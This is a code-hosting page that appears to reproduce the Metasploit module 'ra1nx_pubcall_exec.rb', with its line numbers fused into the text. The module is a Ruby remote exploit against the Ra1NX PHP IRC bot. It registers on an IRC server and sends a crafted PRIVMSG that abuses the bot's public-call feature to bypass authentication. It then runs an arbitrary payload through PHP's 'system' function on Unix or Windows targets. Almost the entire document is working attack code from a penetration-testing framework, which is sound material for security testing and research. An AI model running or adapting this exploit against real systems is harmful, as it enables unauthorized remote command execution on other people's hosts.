Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',13'Description' => %q{14This module allows remote command execution on the PHP IRC bot Ra1NX by15using the public call feature in private message to covertly bypass the16authentication system.17},18'Author' =>19[20'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module21],22'License' => MSF_LICENSE,23'References' =>24[25['OSVDB', '91663'],26['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],27['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],28['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']29],30'Platform' => %w{ unix win },31'Arch' => ARCH_CMD,32'Payload' =>33{34'Space' => 344,35'BadChars' => '',36'DisableNops' => true,37'Compat' =>38{39'PayloadType' => 'cmd'40}41},42'Targets' =>43[44['Ra1NX / Unix', { 'Platform' => 'unix' } ],45['Ra1NX / Windows', { 'Platform' => 'win' } ]46],47'Privileged' => false,48'DisclosureDate' => '2013-03-24',49'DefaultTarget' => 0))5051register_options(52[53Opt::RPORT(6667),54OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),55OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),56OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),57OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])58])59end6061def post_auth?62true63end6465def connect_irc66print_status("#{rhost}:#{rport} - Connecting to IRC server...")67connect6869data = ""70begin71read_data = sock.get_once(-1, 1)72while not read_data.nil?73data << read_data74read_data = sock.get_once(-1, 1)75end76rescue EOFError77end7879if data and data =~ /020.*wait/80print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")81select(nil, nil, nil, 3)82end83end8485def check86connect_irc8788response = register(sock)89if response =~ /463/ or response =~ /464/90vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")91return Exploit::CheckCode::Unknown92end9394confirm_string = rand_text_alpha(8)95response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")9697quit(sock)98disconnect99100if response =~ /#{confirm_string}/101return Exploit::CheckCode::Vulnerable102else103return Exploit::CheckCode::Safe104end105end106107def send_msg(sock, data)108sock.put(data)109data = ""110begin111read_data = sock.get_once(-1, 1)112while not read_data.nil?113data << read_data114read_data = sock.get_once(-1, 1)115end116rescue EOFError117end118data119end120121def register(sock)122msg = ""123124if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?125msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"126end127128if datastore['NICK'].length > 9129nick = rand_text_alpha(9)130print_error("The nick is longer than 9 characters, using #{nick}")131else132nick = datastore['NICK']133end134135msg << "NICK #{nick}\r\n"136msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"137138response = send_msg(sock,msg)139return response140end141142def ra1nx_command(sock)143encoded = payload.encoded144command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"145response = send_msg(sock, command_msg)146return response147end148149def quit(sock)150quit_msg = "QUIT :bye bye\r\n"151sock.put(quit_msg)152end153154def exploit155connect_irc156157print_status("#{rhost}:#{rport} - Registering with the IRC Server...")158response = register(sock)159if response =~ /463/ or response =~ /464/160print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")161return162end163164print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")165ra1nx_command(sock)166167quit(sock)168disconnect169end170end171172173